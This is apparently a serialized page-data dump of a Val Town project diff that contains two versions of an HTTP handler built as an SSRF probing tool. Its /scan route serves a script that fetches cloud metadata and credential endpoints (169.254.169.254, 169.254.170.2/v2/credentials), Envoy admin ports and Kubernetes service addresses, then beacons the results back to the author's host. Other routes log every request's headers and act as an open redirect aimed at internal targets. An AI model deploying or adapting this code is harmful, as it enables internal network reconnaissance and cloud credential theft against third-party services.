[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_156":157,"_158":159},"routes/_app.x.$handle.$name",{"_99":98,"_32":45,"_106":89,"_27":53,"_13":14,"_107":-5,"_11":108,"_109":110,"_111":112,"_113":114,"_115":116,"_20":-5,"_117":-5,"_118":-5,"_119":25,"_120":121,"_122":58,"_123":-5,"_124":-5,"_125":126},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_43":44,"_32":45,"_38":46,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":66,"_67":68,"_69":70,"_71":-5,"_72":73,"_74":73,"_75":76,"_77":76,"_78":76,"_79":73,"_80":73,"_81":82,"_83":84,"_85":86,"_87":25},"version",9,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":37,"_38":39,"_40":14,"_41":42,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","18f333c2-ada3-11f1-b354-1607ee4eb77e","name","fileType","http","content","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n if (url.pathname === \"/scan\") {\n const base =\n \"https://keekeetest--18f333c2ada311f1b3541607ee4eb77e.web.val.run\";\n const targets = [\n base + \"/\",\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = base + '/log?t=' + encodeURIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"ping('js-start', 'started');\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 1500);\",\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'resolved'); })\",\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag +\n \"

scanning

\";\n return new Response(html, {\n status: 200,\n headers: { \"content-type\": \"text/html\" },\n });\n }\n\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n method: req.method,\n path: url.pathname,\n query: Object.fromEntries(url.searchParams),\n headers: Object.fromEntries(req.headers),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".length);\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Location: target } });\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } },\n );\n}","import { sqlite } from \"https://esm.town/v/std/sqlite\";\n\nawait sqlite.execute(\n \"CREATE TABLE IF NOT EXISTS ssrf_hits (id INTEGER PRIMARY KEY AUTOINCREMENT, time TEXT, type TEXT, method TEXT, path TEXT, target TEXT, status TEXT)\",\n);\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const result = await sqlite.execute(\n \"SELECT time, type, method, path, target, status FROM ssrf_hits ORDER BY id DESC LIMIT 200\",\n );\n const rows = result.rows.map((r: any[]) => ({\n time: r[0],\n type: r[1],\n method: r[2],\n path: r[3],\n target: r[4],\n status: r[5],\n }));\n return new Response(JSON.stringify(rows, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await sqlite.execute(\"DELETE FROM ssrf_hits\");\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n await sqlite.execute(\n \"INSERT INTO ssrf_hits (time, type, target, status) VALUES (?, ?, ?, ?)\",\n [\n new Date().toISOString(),\n \"scan-result\",\n url.searchParams.get(\"t\"),\n url.searchParams.get(\"s\"),\n ],\n );\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n if (url.pathname === \"/scan\") {\n const base =\n \"https://keekeetest--18f333c2ada311f1b3541607ee4eb77e.web.val.run\";\n const targets = [\n base + \"/\",\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = base + '/log?t=' + encodeURIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"ping('js-start', 'started');\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 1500);\",\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'resolved'); })\",\n \" .catch(function(e){ clearTimeout(timer); ping(t, 'rejected:' + (e && e.name)); });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const lt = String.fromCharCode(60);\n const gt = String.fromCharCode(62);\n const openTag = lt + \"script\" + gt;\n const closeTag = lt + \"/script\" + gt;\n const html = \"\" + openTag + script + closeTag +\n \"

scanning

\";\n return new Response(html, {\n status: 200,\n headers: { \"content-type\": \"text/html\" },\n });\n }\n\n await sqlite.execute(\n \"INSERT INTO ssrf_hits (time, type, method, path) VALUES (?, ?, ?, ?)\",\n [new Date().toISOString(), \"raw-hit\", req.method, url.pathname],\n );\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".length);\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Location: target } });\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0),\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } },\n );\n}","createdAt",["D",1789105693351],"branchVersion","branchId","498a9a8f-f322-4927-a947-1cdb91dc690b","id","4d1ba924-1846-49d1-83e7-13a8270b0dd2","ktest3",["D",1789105143473],"deletedAt","legacyEnvVars","privacy","public","httpPrivacy","description","","imageUrl","5cf833c3-55e9-493d-abda-ded425f7f0dd","pinnedFileId","pinPreview",true,"pinMigrated","screenshotVersion","likeCount",0,"orgId","019f42ea-99f8-7162-b165-4dd364d8479a","tursoName","4d1ba924184649d183e713a8270b0dd2","tursoHostname","4d1ba924184649d183e713a8270b0dd2-val-town.aws-us-east-2.turso.io","tursoMeasuredAt",["D",1789452686325],"pinned","userPerm","r","valPerm","blobPerm","rw","emailPerm","sqlitePerm","projectPerm","telemetryPerm","user",{"_99":98,"_105":53},"org",{"_99":98,"_100":53,"_101":53,"_18":55,"_102":103,"_104":25},"branch",{"_13":88,"_32":89,"_43":42,"_90":44,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":-5,"_96":45,"_97":98},"isOwned",12,"main","projectId","forkedBranchId","forkedBranchVersion","forkedProjectPrivacy","forkedProjectId","forkedProjectOrgId","projectName","userHandle","keekeetest","handle","displayName","avatar","tier","free","canRestrictVals","profileImageUrl","branchName","adoptOrgId",{"_43":44,"_32":45,"_38":151,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":66,"_67":68,"_69":152,"_71":-5,"_72":73,"_74":73,"_75":76,"_77":76,"_78":76,"_79":73,"_80":73,"_81":153,"_83":154,"_85":155,"_87":25},"tree",[146],"files",[146],"counts",{"_135":62,"_136":137,"_138":62,"_139":140,"_141":142},"contents",[127],"upstreamProject","upstreamBranch","emptyEnvVars","flags",[],"hasHttpFiles","grants","orgs","customDomains",{},{"_43":128,"_32":28,"_30":31,"_129":-5,"_41":42,"_40":14,"_130":25,"_38":131,"_13":132,"_33":34,"_35":37,"_24":25,"_133":-5,"_27":134},"915a356e-95d8-436e-9078-f8099e1e6f05","parentId","latest",["D",1789105693351],8,"label",[28],"pulls","branches",1,"forks","envVars",{"_143":62,"_145":62},"connections",{"_143":62,"_144":62},"count","unfilledCount","emptyCount",{"_43":128,"_32":28,"_30":31,"_129":-5,"_41":42,"_40":14,"_130":25,"_38":147,"_13":132,"_33":34,"_35":37,"_24":25,"_133":-5,"_148":149,"_27":150},["D",1789105693351],"children",[],[28],["D",1789105143473],["D",1789452686325],{"_99":98,"_105":53},{"_99":98,"_100":53,"_101":53,"_18":55,"_102":103,"_104":25},{"_13":88,"_32":89,"_43":42,"_90":44,"_91":-5,"_92":-5,"_93":-5,"_94":-5,"_95":-5,"_96":45,"_97":98},"ctx",{"_81":-5,"_124":189,"_190":191,"_192":193,"_194":25,"_195":25,"_196":25,"_197":58,"_198":-5,"_199":-7,"_200":-7,"_201":62,"_202":25,"_203":25,"_204":-5,"_205":25,"_206":25,"_207":25,"_208":-5},"ENV",{"_160":161,"_162":163,"_164":89,"_165":166,"_167":168,"_169":170,"_171":172,"_173":174,"_175":176,"_177":178,"_179":180,"_181":182,"_183":184,"_185":186,"_187":188},"REACT_APP_SENTRY_DSN","https://586020d86f05489db63a554690acf1e9@o1398359.ingest.sentry.io/6724499","RENDER_GIT_COMMIT","e87eb04e707cf64e7e532c8e8ec395f209e17f15","RENDER_GIT_BRANCH","POSTHOG_API_TOKEN","phc_nmoyuAkStEZuUp69rYlg1DZgrIt19Gx0Y4Hwf8tGgJP","POSTHOG_API_HOST","https://wart.val.town","WEB_API_TEMPLATE","https://{val}.web.val.run","APP_URL","https://www.val.town","MODULE_URL","https://esm.town","VANITY_WEB_API_TEMPLATE","https://{label}.val.run/","DENOLS_URL","https://lsp.val.town","NODE_ENV","production","CLOUDFLARE_TURNSTILE_SITE_KEY","0x4AAAAAACtaIZJH7s9rBMZ6","GOOGLE_CLIENT_ID","875989696899-jtsqkhlbdv5jrlsk8631p7ipjg3c6o62.apps.googleusercontent.com","STRIPE_PUBLISHABLE_KEY","pk_live_51N2zvWEpZTTLipIkVEwXrUG9AT0yeOOEYxszarZT1jpsZV58Ly6wlg3SltZpHN26CUalOBmUSY7adQRQiSkCZz2500qSXNkf8Y","API_URL","https://api.val.town",[],"preferencesKeybindings","default","preferencesTheme","light","preferencesFixers","preferencesCopilot","preferencesSelectionAi","preferencesCloseBrackets","preferencesChatPanelState","preferencesDprint","preferencesDenofmt","notificationCount","flagDenols","isBusinessOrgMember","businessOrgHandle","isBusinessOrgAdmin","isHigherTownieTier","navCollapsed","currentOrgId"]

Diff · v9